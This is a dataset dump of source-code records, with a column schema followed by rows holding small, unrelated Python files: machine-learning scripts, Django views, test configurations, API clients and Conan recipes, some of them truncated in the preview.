blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
bfe75adf99059a545e70bc5bbb0d1aa4f582df48
9044f98093b244e478d0edd1e7f2ecf43b35f353
/src/prepare_data.py
f133c389a57be68499dadac9767c61591415df72
[]
no_license
vodanhbk95/classification_pytorch
8e1c14d93c2d0f06f13b21a3f31414c2a6b827fb
a6726fa13884cc3db442a6b199f4e4853e4a0e04
refs/heads/master
2023-02-14T16:53:31.481625
2021-01-06T15:04:46
2021-01-06T15:04:46
322,328,340
0
0
null
null
null
null
UTF-8
Python
false
false
1,474
py
from torchvision import datasets from torchvision.transforms import transforms from create_dataloader import CassavaDataset import torch from albumentations import ( HorizontalFlip, VerticalFlip, IAAPerspective, ShiftScaleRotate, CLAHE, RandomRotate90, Transpose, ShiftScaleRotate, Blur, OpticalDistortion, Gri...
[ "you@example.com" ]
you@example.com
ae6f1ab70ed6f33c7de736e54965d3138369a118
b0110e27e3162e2092259dd299481de1dafb4ea8
/elm/v1.py
7b0eb7081a575493757961ce4e665d48c24760a4
[ "MIT" ]
permissive
mobarski/sandbox
f9be203bf7015f6df70badd605a40172b63a90f8
f9054fb3252488208e503a87efba5df74fc70538
refs/heads/master
2023-05-29T14:51:00.125028
2023-05-14T21:02:38
2023-05-14T21:02:38
86,854,790
0
0
null
null
null
null
UTF-8
Python
false
false
1,769
py
# code from: https://towardsdatascience.com/build-an-extreme-learning-machine-in-python-91d1e8958599 # data from: https://www.kaggle.com/oddrationale/mnist-in-csv from time import time t0=time() hidden_size = 1000 # 2k:80,72 1k:28,21 500:16,8 import numpy as np import pandas as pd from sklearn.model_selection impor...
[ "mobarski@gmail.com" ]
mobarski@gmail.com
43db4c45c66d9f1d184a6482f995c41e609d3005
981f15bb929c6721a11c31d93173985c7cc05d17
/Chapter04_Network/gradient.py
9062d07c2740ff49082f80f429fe785287a9dc4d
[]
no_license
LelandYan/Neural_network
e59412320498d353f816d56113c66a70ab7a75c3
43c898bae4a13ada955807559199f38a17c9049c
refs/heads/master
2020-06-27T21:28:47.446323
2019-08-10T11:56:06
2019-08-10T11:56:06
200,054,314
0
0
null
null
null
null
UTF-8
Python
false
false
674
py
# _*_ coding: utf-8 _*_ __author__ = 'LelandYan' __date__ = '2019/8/2 9:12' import numpy as np def numerical_diff(f, x): h = 1e-4 return (f(x + h) - f(x - h)) / (2 * h) def numerical_gradient(f, x): h = 1e-4 grad = np.zeros_like(x) for idx in range(x.size): temp_val = x[idx] x[i...
[ "2721599586@qq.com" ]
2721599586@qq.com
a722f7b6202ce8d7a461c879ec7e344a2b72462f
7d0f27ead83bb65507bf32dc17618227d2acf1bd
/tests/estimator/classifier/EmbeddedData.py
aba8585922823fabd79fd8c83e2066ef2a286be7
[ "MIT" ]
permissive
Jonksar/sklearn-porter
89da14abc2dc732db93a965c805597c983f12c53
b1a3e817a9da3466373352c3fcf354cdc646b45e
refs/heads/master
2021-03-27T14:23:43.020209
2018-05-09T10:16:57
2018-05-09T10:16:57
123,267,747
1
0
null
2018-02-28T10:15:42
2018-02-28T10:15:42
null
UTF-8
Python
false
false
3,332
py
# -*- coding: utf-8 -*- import numpy as np class EmbeddedData(): def test_random_features__binary_data__embedded(self): self.load_binary_data() self._port_estimator(embed_data=True) amin = np.amin(self.X, axis=0) amax = np.amax(self.X, axis=0) preds, ground_truth = [], []...
[ "darius.morawiec@nok.onl" ]
darius.morawiec@nok.onl
f8737b42d99b3d7bee7a5a74ee32c87dbc897e65
d8498ca05daa83f108a231c024b4efa2f4b71747
/ex03_2.py
9bb28cc82f2a4b8f850b72ab42ea9b2d80914e4f
[ "CC-BY-4.0", "CC-BY-3.0" ]
permissive
antoalv19/TP_solutions
ca9baf22ca1d16bac1f1bbabdefe473bb1b0ac0a
7c1d3b35c11cfbd9c66be9878aafa1dbe8802581
refs/heads/master
2020-07-03T14:31:44.626360
2020-01-04T20:01:27
2020-01-04T20:01:27
201,936,524
0
0
null
2019-08-12T13:32:04
2019-08-12T13:32:03
null
UTF-8
Python
false
false
222
py
def do_twice(f,v): f(v) f(v) def print_twice(s): print(s) print(s) do_twice(print_twice,"spam") def do_four(f,v): do_twice(f,v) do_twice(f,v) print ("--------cutting line---------") do_four(print_twice,"four")
[ "dixingxu@gmail.com" ]
dixingxu@gmail.com
a8d848310d08b6cd314a9f91f1cb683b01d2500c
c3e47ce05f1d6a237a03742ce431d6958ca388b2
/uv_export/import_01.py
0abcc1e8781bc52d4736b54915ad21ce8f3fe0e2
[]
no_license
fsanges/subins_tutorials
27426ac71365124c28e924c502484c5bb172f715
9c50ec8e3200c29f1c7141ca013cbb0a5b4f8e4e
refs/heads/master
2020-09-16T04:38:43.696690
2019-11-23T13:06:51
2019-11-23T13:06:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,840
py
# Load (import) uv custom data format import os import tempfile import json from maya.api import OpenMaya # Source data path file_path = os.path.join( tempfile.gettempdir(), 'head_test_uvs.uv') # Read uv custom data file = open(file_path, 'r') data = json.load(file) file.close() # Store shape ...
[ "subing85@gmail.com" ]
subing85@gmail.com
e28535d4e775e3e3c2be8b051ec1efe67f5ec7b9
c0c535adc1b80a6292e92a2f3ec8c3a377d71c7c
/Portfolio/deep/index/views.py
efb48328be95d22a6fa01380a1959c1941507529
[]
no_license
deeppudasaini/Django-Portfolio
02b57b8d598db9613da95d54961185e7d02c4734
ce65c5cb27b5c2a931400c8d39da8965276e1249
refs/heads/main
2023-04-20T11:07:43.793757
2021-05-26T16:17:02
2021-05-26T16:17:02
371,066,820
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
from django.shortcuts import render from index.models import Project # Create your views here. def home(request): context={ 'title':"Home Page", 'project_name':Project.objects.all() }; return render(request,'index.html',context);
[ "deep.pudasaini19@my.northampton.ac.uk" ]
deep.pudasaini19@my.northampton.ac.uk
9a5fbcfb22e0302b886475d314ada823c3ab65d4
54d98a0ea5b28f1bc566aa02ae665c2ed6a38caf
/src/data/datasets/pwc_rgbd_dataset.py
42589fd83be9401738efc68c6cb0cf1f097266cb
[]
no_license
Tung-I/SceneFlow
6dda8518c9ddbe7ae739ee879e3dd4ae2e96ac61
736234fed5d8d6f20064725b3a581b871b869a7f
refs/heads/master
2020-11-27T08:26:34.912787
2020-01-06T13:19:50
2020-01-06T13:19:50
229,369,961
0
0
null
null
null
null
UTF-8
Python
false
false
3,517
py
import csv import glob import torch import numpy as np from src.data.datasets.base_dataset import BaseDataset from src.data.transforms import compose class PWCRGBDDataset(BaseDataset): """The Kidney Tumor Segmentation (KiTS) Challenge dataset (ref: https://kits19.grand-challenge.org/) for the 3D segmentation met...
[ "dong893610@gmail.com" ]
dong893610@gmail.com
0ede60720b3ebffd74d555b19b2b9706976d2c44
088314e3bd6ca7ef34d15f2aa45b743b363641d9
/pybind11/tests/conftest.py
55d9d0d5369393c068a2b0f2c08442f4a1f48578
[ "BSD-3-Clause", "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
weituo12321/PREVALENT_R2R
7a27d580fcbe8f72a209697d053ca3eb2013e3a0
868fb53d6b7978bbb10439a59e65044c811ee5c2
refs/heads/master
2022-11-24T00:54:32.385940
2020-07-24T17:56:42
2020-07-24T17:56:42
248,832,547
8
7
MIT
2022-11-22T02:10:54
2020-03-20T19:07:08
Python
UTF-8
Python
false
false
6,634
py
"""pytest configuration Extends output capture as needed by pybind11: ignore constructors, optional unordered lines. Adds docstring and exceptions message sanitizers: ignore Python 2 vs 3 differences. """ import pytest import textwrap import difflib import re import sys import contextlib import platform import gc _u...
[ "weituo.hao@gmail.com" ]
weituo.hao@gmail.com
f3b6984d58cb6a0431b28a0bb4f839672cfb07b4
3a93a50bf80668a6ede701534f1567c3653729b0
/week-01/Day-01/sale_by_match.py
9bbbbf680da17da94b6d287017fd545010247a66
[]
no_license
Tadele01/Competitive-Programming
c16778298b6c1b4c0b579aedd1b5f0d4106aceeb
125de2b4e23f78d2e9f0a8fde90463bed0aed70f
refs/heads/master
2023-09-01T06:00:09.068940
2021-09-13T18:04:30
2021-09-13T18:04:30
325,728,258
0
0
null
null
null
null
UTF-8
Python
false
false
469
py
def sale_by_match(l, length): hash_map = dict() pair = 0 for i in range(length): if l[i] in hash_map: v = hash_map[l[i]] pair +=1 hash_map[l[i]] = 0 else: hash_map[l[i]] = 1 accumlator = 0 for key in hash_map: if hash_map[key] >...
[ "tadeleyednkachw@gmail.com" ]
tadeleyednkachw@gmail.com
aeda73e69c94a5161f407c85a92a307356db51a2
f5fa77d99d31d4e8fef2648b83e9d988123be118
/hanser/models/cifar/hs_resnet/layers.py
1867a3b54ae22ce1cb3eaa8ca3fc8e40df7bbfb7
[]
no_license
sbl1996/hanser
6ff5362f6909c4ba717c10b5f7baf31a41b70531
21c6f9470dd21a5b2e7a18318f40314a34053822
refs/heads/master
2022-06-04T03:46:39.034645
2022-05-21T03:34:08
2022-05-21T03:34:08
197,355,428
12
2
null
null
null
null
UTF-8
Python
false
false
1,462
py
import tensorflow as tf from tensorflow.keras.layers import Layer from hanser.models.layers import Conv2d def split2(x): c = x.shape[-1] return tf.split(x, [c - c // 2, c // 2], axis=-1) class MainHSConv(Layer): def __init__(self, channels, kernel_size, groups=1, split=5, norm='def', act='def'): ...
[ "sbl1996@126.com" ]
sbl1996@126.com
12503e8bfca5949f16bfb84fc64a91f87754bc34
90a6e13ee322c088762b48e029adf33733f75398
/procedure_tools/test.py
8404862b74dae118b273ac16018afe93399eb88a
[]
no_license
ProzorroUKR/procedure_tools
28021cf0eae51d79d0079b2c7cb55562de4f86bf
7d76930baede5c1d56a409b5d8969b37c8294553
refs/heads/master
2023-07-24T22:58:25.489002
2023-07-19T10:57:33
2023-07-19T10:57:33
170,825,973
0
1
null
2023-07-19T10:57:34
2019-02-15T08:08:14
Python
UTF-8
Python
false
false
5,536
py
import pytest try: from unittest import mock except ImportError: import mock import os from procedure_tools.main import main API_HOST = "API_HOST" API_TOKEN = "API_TOKEN" DS_HOST = "DS_HOST" DS_USERNAME = "DS_USERNAME" DS_PASSWORD = "DS_PASSWORD" REQUIRED_ENV_VARIABLES = [API_HOST, API_TOKEN, DS_HOST, DS_U...
[ "smithumble@gmail.com" ]
smithumble@gmail.com
a28c04665d1426ada7d26f223adbcf246d361db8
99046b0b2bca710be8588741a3f30ebc8ee8bd1a
/ask/forms.py
bb2b4896426bd1ea635a66b6501e78d04ea879d6
[]
no_license
mmrubayet/askRubayet
f52faf54c58d35ac8cafe26c986ed31af37b89a7
5e6cf7bb0ef82aa1131090e6e2cfa702c4754f8f
refs/heads/master
2020-12-23T14:24:25.878729
2020-09-19T06:58:16
2020-09-19T06:58:16
237,178,766
0
0
null
null
null
null
UTF-8
Python
false
false
305
py
from django import forms from .models import Question, Answer class QuesForm(forms.ModelForm): class Meta: model = Question fields = ('title', 'optional_description',) class AnswerForm(forms.ModelForm): class Meta: model = Answer fields = ('author', 'text',)
[ "m.rubayet94@gmail.com" ]
m.rubayet94@gmail.com
b216d4ab99bdeae499c02fd85d6157c65d1e45ba
4461af13a595982b2940e45796c336d3ba7a14ac
/python/paddle/distributed/auto_parallel/__init__.py
835ca68df2d1c1169b9eaca767715070ca00e013
[ "Apache-2.0" ]
permissive
Xreki/Paddle
6659c3c5ad727bc071a302e510c9da202d4f1bf4
5e1ee1064052ffe285bc18e3fdeb5667824f1c20
refs/heads/develop
2023-08-31T18:23:12.073614
2023-04-24T03:44:36
2023-04-24T03:44:36
66,993,970
2
0
Apache-2.0
2023-04-24T05:17:59
2016-08-31T02:08:14
Python
UTF-8
Python
false
false
894
py
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
[ "noreply@github.com" ]
Xreki.noreply@github.com
88edc0255cace4901f3c970325e2cca854a98776
71ccdd91057fe4cc4a7422e71628c524a024a954
/intersight_licenses.py
6dae3fadb8afedc4c39246a4f8e6199ce79f689b
[ "MIT" ]
permissive
mrlesmithjr/intersight-rest-api
fecfd9462fa0210368ab687611094173dd5669ef
c76b66ccbddf67747130b6c069d957bd1a403d31
refs/heads/master
2022-12-06T04:01:41.892162
2020-08-28T21:12:48
2020-08-28T21:12:48
290,882,264
0
0
null
2020-08-27T21:09:15
2020-08-27T21:09:14
null
UTF-8
Python
false
false
3,536
py
#!/usr/bin/env python """ intersight_licenses.py - provides a class to support Cisco Intersight interactions author: Larry Smith Jr. (mrlesmithjr@gmail.com) """ import json import argparse import sys import requests from intersight_auth import IntersightAuth # Intersight REST API Base URL BURL = 'https...
[ "mrlesmithjr@gmail.com" ]
mrlesmithjr@gmail.com
94bbef28e5cf9e0fe7714080ae9cab4b7076dc39
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_creosotes.py
f281672477843f5308e72be6c0bb5f4b3f014509
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
252
py
from xai.brain.wordbase.nouns._creosote import _CREOSOTE #calss header class _CREOSOTES(_CREOSOTE, ): def __init__(self,): _CREOSOTE.__init__(self) self.name = "CREOSOTES" self.specie = 'nouns' self.basic = "creosote" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
dbf2ce873af236c193a05597aa308f29e8e0bce2
6e8e38bcf083c28d89553f89db33a1cde80705a4
/GraphSampling/RN.py
ad58e4bcb711e7dc4e33c57b4fa361c2baacdb57
[]
no_license
HawkinYap/GraphAnalysis
a235357f09c82fda75fc32c3bfae1ba2feadc4db
6a6c4a31e01c4e40f010677886b08c76cd17c2c1
refs/heads/master
2022-03-29T11:54:24.135045
2019-12-29T14:47:08
2019-12-29T14:47:08
203,481,803
0
0
null
null
null
null
UTF-8
Python
false
false
464
py
import random import networkx as nx from random import choice class RN(): def randomnode(self, G, size, seed): list_nodes = list(G.nodes()) select_nodes = random.sample(list_nodes, size) if seed in select_nodes: induced_graph = G.subgraph(select_nodes) else: ...
[ "Gallowsgogo@gmail.com" ]
Gallowsgogo@gmail.com
33df90cbb5d69dd52ae2cf3585c77bba46ec6091
1f42ca6bbe600eefbf80cbe5c1b8485003b2cb35
/session_06_working_files/inclass_exercises/inclass_6.19.py
de17ded64ed46d408799c75a01c47ecacfbe19de
[]
no_license
jongiles/python_data_apy
a4589e39b3a3eaed850d0177ee79f649dd3a0ee1
343bd649635e98897d3924041374e9ad58eb345d
refs/heads/master
2023-05-12T22:43:16.299571
2021-06-07T22:00:27
2021-06-07T22:00:27
374,784,872
0
0
null
null
null
null
UTF-8
Python
false
false
1,212
py
# 6.19: Set PYTHONPATH environment variable to make utils.py # importable from any directory. # Move (don't copy) temputils.py to your Desktop. This can be # done through the PyCharm file view or your Finder or Windows # Explorer windows. # # If you are using Jupyter Notebook, for this exercise you # must first res...
[ "jgiles@MacBook-Pro.local" ]
jgiles@MacBook-Pro.local
8d861bbbd9c742006a2ffd283712e7454f8a2844
d01b271b1ae7c968c1c009cd6f7dada5ef1a3a37
/openstackclient/object/client.py
1a5363b17c59da74c461150b2dfd54005fa43416
[ "Apache-2.0" ]
permissive
larsks/python-openstackclient
8724648377a6caa510e2f811be4be828f8f76376
9062811d10f2ab660ce38f9bd20be9c52daa9479
refs/heads/master
2020-12-26T02:49:28.075721
2013-11-21T00:02:09
2013-11-21T07:27:10
14,628,320
0
0
null
null
null
null
UTF-8
Python
false
false
2,063
py
# Copyright 2013 Nebula Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
[ "dtroyer@gmail.com" ]
dtroyer@gmail.com
61de41b71af6e2cc6183efbf7b277b7cb742ec6a
916773e4af7367022067abf2e92bc8ab7302b1e5
/trunk/prodRoot/wwjufsdatabase/libs/html/responseObs.py
2e6bb89fc70aeec1bd923f257490936fa4ed8e80
[]
no_license
weijia/ufs
814ac76a9a44a931803971cb4edcefd79c87d807
c43cdae2dfe89b747b6970138ccdf9ddf7f766b3
refs/heads/master
2016-09-01T18:35:33.754862
2012-08-14T09:02:40
2012-08-14T09:02:40
3,439,945
0
0
null
null
null
null
UTF-8
Python
false
false
6,654
py
import Cookie import StringIO import os def getClientIp(): return os.environ["REMOTE_ADDR"] class html: def __init__(self, perPage=20, startPage=1, cookie = None): self.headFlag = False self.out = StringIO.StringIO() self.scriptList = [] self.embededScript = [] self.load...
[ "richardwangwang@gmail.com" ]
richardwangwang@gmail.com
04a22116808dab3490d93e989cd95e2f45401d34
5a9a28b79e01a71dae8c92d1c1feaee139a92510
/2022/2022-06/06-05/478.py
3d58d997578c0beb7e31be076a90ed8a55646955
[]
no_license
ez4lionky/Leetcode-practices
b81854e0ab9a9b39b6a26df6faf99bcf89860c39
0c28803043ea8196e564dacdbb231f6bb1693226
refs/heads/master
2023-02-08T03:33:42.756691
2023-01-21T03:31:09
2023-01-21T03:31:09
196,699,617
0
0
null
null
null
null
UTF-8
Python
false
false
641
py
import random class Solution: def __init__(self, radius: float, x_center: float, y_center: float): self.radius, self.x_center, self.y_center = radius, x_center, y_center def randPoint(self) -> List[float]: xc, yc, r = self.x_center, self.y_center, self.radius x, y = random.uniform(xc...
[ "codex.lxy@gmail.com" ]
codex.lxy@gmail.com
ec333c145a5bb337f50b468673a3264973383513
e61f627e6cb3b9a630d7dc336baf456ed8ba428f
/project/Board/notice/views.py
04e2b3059ecc8058d75049c2b0eb2f0845a78334
[ "MIT" ]
permissive
osamhack2021/AI_PersonalAIAdjutant_Posung
cbae323162085f5040770c23aa628ff116a7635b
bec145406028f1156d5236cc0a43341cde6041e4
refs/heads/main
2023-08-12T15:45:20.448636
2021-10-11T14:37:21
2021-10-11T14:47:15
405,977,249
0
3
MIT
2021-10-11T13:58:00
2021-09-13T13:06:47
JavaScript
UTF-8
Python
false
false
880
py
from django.http import HttpResponseRedirect, Http404 from django.shortcuts import render from django.urls import reverse from .models import * def notice(request): notices = {'notices': Notice.objects.all()} return render(request, 'notice.html', notices) def notice_post(request): if request.method == "...
[ "noreply@github.com" ]
osamhack2021.noreply@github.com
30e892aafc8cf42e100cb3a9c35497acd587550d
9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97
/sdBs/AllRun/pg_1200+094/sdB_pg_1200+094_coadd.py
33a02fa0b22046811b47c775f85a546d20d1434f
[]
no_license
tboudreaux/SummerSTScICode
73b2e5839b10c0bf733808f4316d34be91c5a3bd
4dd1ffbb09e0a599257d21872f9d62b5420028b0
refs/heads/master
2021-01-20T18:07:44.723496
2016-08-08T16:49:53
2016-08-08T16:49:53
65,221,159
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
from gPhoton.gMap import gMap def main(): gMap(band="NUV", skypos=[180.83075,9.164431], skyrange=[0.0333333333333,0.0333333333333], stepsz = 30., cntfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTCURVES/sdBs/sdB_pg_1200+094/sdB_pg_1200+094_movie_count.fits", cntcoaddfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTCURVES/sdB/sdB_p...
[ "thomas@boudreauxmail.com" ]
thomas@boudreauxmail.com
d6515683c446318c6e4c45143a0ff0a87321f09d
ad13583673551857615498b9605d9dcab63bb2c3
/output/instances/nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-2.py
7e3fa49027638433b165685d91d51979ebdbb08b
[ "MIT" ]
permissive
tefra/xsdata-w3c-tests
397180205a735b06170aa188f1f39451d2089815
081d0908382a0e0b29c8ee9caca6f1c0e36dd6db
refs/heads/main
2023-08-03T04:25:37.841917
2023-07-29T17:10:13
2023-07-30T12:11:13
239,622,251
2
0
MIT
2023-07-25T14:19:04
2020-02-10T21:59:47
Python
UTF-8
Python
false
false
398
py
from output.models.nist_data.list_pkg.unsigned_short.schema_instance.nistschema_sv_iv_list_unsigned_short_min_length_1_xsd.nistschema_sv_iv_list_unsigned_short_min_length_1 import NistschemaSvIvListUnsignedShortMinLength1 obj = NistschemaSvIvListUnsignedShortMinLength1( value=[ 62423, 62113, ...
[ "tsoulloftas@gmail.com" ]
tsoulloftas@gmail.com
49e88b7d56cd2343c4630050a8df7240ad85f1a7
549270020f6c8724e2ef1b12e38d11b025579f8d
/recipes/artery-font-format/all/test_package/conanfile.py
26110ca175735daa4da39f8ca21d4823813e09c4
[ "MIT" ]
permissive
conan-io/conan-center-index
1bcec065ccd65aa38b1fed93fbd94d9d5fe6bc43
3b17e69bb4e5601a850b6e006e44775e690bac33
refs/heads/master
2023-08-31T11:34:45.403978
2023-08-31T11:13:23
2023-08-31T11:13:23
204,671,232
844
1,820
MIT
2023-09-14T21:22:42
2019-08-27T09:43:58
Python
UTF-8
Python
false
false
832
py
from conan import ConanFile from conan.tools.build import can_run from conan.tools.cmake import cmake_layout, CMake import os # It will become the standard on Conan 2.x class TestPackageConan(ConanFile): settings = "os", "arch", "compiler", "build_type" generators = "CMakeDeps", "CMakeToolchain", "VirtualRunE...
[ "noreply@github.com" ]
conan-io.noreply@github.com
340d29da3fa9eadebab8be7f6ec4ff1c45dab58a
3e8e1add88b0782bc64f8682b05f399638094729
/studentteacher/migrations/0018_auto_20190912_1251.py
4ffab1845ea5a8a08cf1e762f7c3f64dadf17076
[]
no_license
nnish09/Task2
3e154c8f61ef88034cff6e1e42fdd616d2922951
cddc23c062c81e0669b6656d7f294f61f3c05976
refs/heads/master
2023-04-29T12:04:14.565984
2019-09-23T10:52:08
2019-09-23T10:52:08
209,307,595
0
0
null
2023-04-21T20:37:36
2019-09-18T12:51:29
CSS
UTF-8
Python
false
false
858
py
# Generated by Django 2.2.5 on 2019-09-12 12:51 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('studentteacher', '0017_auto_20190912_1244'), ] operations = [ migrations.AlterField( model_name='assignment', ...
[ "nishtha0995@gmail.com" ]
nishtha0995@gmail.com
03d8e22aeb5307fd46e14e1ed4e27e583144f1a5
9bb16f8fbf9f562f1171a3bbff8318a47113823b
/abc251/abc251_g/generate.py
1e314f48dc36f2276276592dff97d6af3e745a01
[]
no_license
kyamashiro/atcoder
83ab0a880e014c167b6e9fe9457e6972901353fc
999a7852b70b0a022a4d64ba40d4048ee4cc0c9c
refs/heads/master
2022-06-01T03:01:39.143632
2022-05-22T05:38:42
2022-05-22T05:38:42
464,391,209
1
0
null
null
null
null
UTF-8
Python
false
false
1,304
py
#!/usr/bin/env python3 # usage: $ oj generate-input 'python3 generate.py' # usage: $ oj generate-input --hack-actual=./a.out --hack-expected=./naive 'python3 generate.py' import random # generated by oj-template v4.8.1 (https://github.com/online-judge-tools/template-generator) def main(): N = random.randint(1, 10...
[ "kyamashiro73@gmail.com" ]
kyamashiro73@gmail.com
0a3552b287626b831bf17bbc3156e09ade16e9b9
cee44e13678a36c57cd9326a1a2516005f71922c
/lesson134.py
befeb461cddfcbc2310a4c67c2bf137f81a9b525
[]
no_license
ipcoo43/baekjoon
13485f4e120e8a2c2dda9644f7a9c712b61f471b
781a49b7e100fc8bf66848d3144ef8688ab02928
refs/heads/master
2020-06-03T19:16:49.797374
2019-06-14T22:47:34
2019-06-14T22:47:34
191,698,804
0
0
null
null
null
null
UTF-8
Python
false
false
180
py
# subplot() import matplotlib.pyplot as plt plt.subplot(1,2,1) plt.plot(range(10,100),'g') plt.subplot(1,2,2) plt.plot(range(100,1,-1),'r') plt.show() # 그래프 보여주기
[ "ipcoo43@gamil.com" ]
ipcoo43@gamil.com
dcf09dc3605d8dd61868ea0603af1c0d06320b2f
358d6e9309189bc1e4bafcee973a130285698999
/reagent/evaluation/reward_net_evaluator.py
e786c4917f16fb256aa8db7cb0e2cad0e3ae6595
[ "BSD-3-Clause" ]
permissive
emrul/ReAgent
f651c3664d493842f74a4d6c748e8eac5648397e
b35445f49d349ed94a3aa76fc5b95cf5ec2e34f5
refs/heads/master
2023-02-26T09:48:37.015748
2021-01-29T23:28:59
2021-01-29T23:30:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,128
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. import copy import logging import numpy as np import torch from reagent import types as rlt from reagent.training.reward_network_trainer import RewardNetTrainer from reagent.types import PreprocessedRankingInput logger = l...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
e83406c0c2c3dfcafac4548f8fc1198f35357119
e7aab075b1683a651e3081b89048065388ebba33
/main.py
0501d436e365fc40c731e765ab901eb50645cb02
[ "MIT", "CC0-1.0" ]
permissive
ytyaru/Hatena.WebSite.Login.201703040757
5ca4f69e684c753305d33c3f06be9728fbeb834b
11ffc5549398478146a9966189e06cf535b34092
refs/heads/master
2020-05-21T09:02:21.331949
2017-03-10T23:01:02
2017-03-10T23:01:02
84,607,326
0
0
null
null
null
null
UTF-8
Python
false
false
1,541
py
#!python3 #encoding:utf-8 from urllib.request import build_opener, HTTPCookieProcessor from urllib.parse import urlencode from http.cookiejar import CookieJar import pprint import dataset class HatenaSite(object): def __init__(self, path_hatena_accounts_sqlite3): self.path_hatena_accounts_sqlite3 = path_ha...
[ "ytyaru@outlook.jp" ]
ytyaru@outlook.jp
d1697e7124a81d0e10d9aa2db971e5b06a680023
5e809acc62b080f1adad2c34e647241cdc5ad297
/blog/urls.py
a1afcc3604bef547a97e265dcf0ed9daae807215
[ "MIT" ]
permissive
RootenberG/My-blog-project
f520af79a2f3eb416b3dadee46813a812ce9d53d
7ef4670cfa9d54d9345d52ca008aae5fed5605bc
refs/heads/master
2020-08-15T20:04:29.478049
2020-02-08T21:57:46
2020-02-08T21:57:46
215,400,930
0
0
MIT
2019-10-30T20:54:38
2019-10-15T21:34:30
Python
UTF-8
Python
false
false
918
py
from django.urls import path from blog.views import ( create_blog_view, post_list, post_detail, comment_added_view, post_search ) from django.contrib.sitemaps.views import sitemap from blog.sitemaps import PostSitemap from .feeds import LatestPostsFeed sitemaps = {'posts': PostSitemap(), } app_nam...
[ "savichevdenis244@gmail.com" ]
savichevdenis244@gmail.com
eb4d189285002ddc654644731dfbac03d7d741c1
d125c002a6447c3f14022b786b07712a7f5b4974
/tests/bugs/core_6290_test.py
3d986d15191f9c93cc72e29b522ab5611406060a
[ "MIT" ]
permissive
FirebirdSQL/firebird-qa
89d5b0035071f9f69d1c869997afff60c005fca9
cae18186f8c31511a7f68248b20f03be2f0b97c6
refs/heads/master
2023-08-03T02:14:36.302876
2023-07-31T23:02:56
2023-07-31T23:02:56
295,681,819
3
2
MIT
2023-06-16T10:05:55
2020-09-15T09:41:22
Python
UTF-8
Python
false
false
1,217
py
#coding:utf-8 """ ID: issue-6532 ISSUE: 6532 TITLE: Hex number used at end of statement (e.g. CREATE DOMAIN ... DEFAULT) may read invalid memory and produce wrong values or exceptions DESCRIPTION: JIRA: CORE-6290 FBTEST: bugs.core_6290 """ import pytest from firebird.qa import * db...
[ "pcisar@ibphoenix.cz" ]
pcisar@ibphoenix.cz
d900db1b7576af3cb502005843d9820d36abd797
8a780cb47eac9da046bdb5d6917f97a086887603
/problems/allocate_mailboxes/solution.py
903740afe4488e5feeec7c53967ca97ecf7f8c42
[]
no_license
dengl11/Leetcode
d16315bc98842922569a5526d71b7fd0609ee9fb
43a5e436b6ec8950c6952554329ae0314430afea
refs/heads/master
2022-12-20T03:15:30.993739
2020-09-05T01:04:08
2020-09-05T01:04:08
279,178,665
0
0
null
null
null
null
UTF-8
Python
false
false
979
py
from functools import lru_cache class Solution: def minDistance(self, houses: List[int], k: int) -> int: houses.sort() n = len(houses) dp = [[float('inf')] * (n+1) for _ in range(k+1)] @lru_cache(None) def min_total(box, pre, j): return sum(abs(houses[x-1] - box...
[ "ldeng1314@gmail.com" ]
ldeng1314@gmail.com
0d36cc74fdb4210867f6bc7c5dfdb3d8e0be2817
a15b050e661c31880acc72465421f3ba4906ef06
/0x0B-python-input_output/14-pascal_triangle.py
53eccf566b2e66122d87dbca3b9393fc7e4c45fd
[]
no_license
zacwoll/holbertonschool-higher_level_programming
0c483195f50a55fe0bfae5cff03c0c86719d8063
9c7dda67dc5681fd96b90d6f05ee9748a37ed8b8
refs/heads/master
2022-12-22T04:54:13.815410
2020-09-25T16:03:41
2020-09-25T16:03:41
259,412,215
0
1
null
null
null
null
UTF-8
Python
false
false
471
py
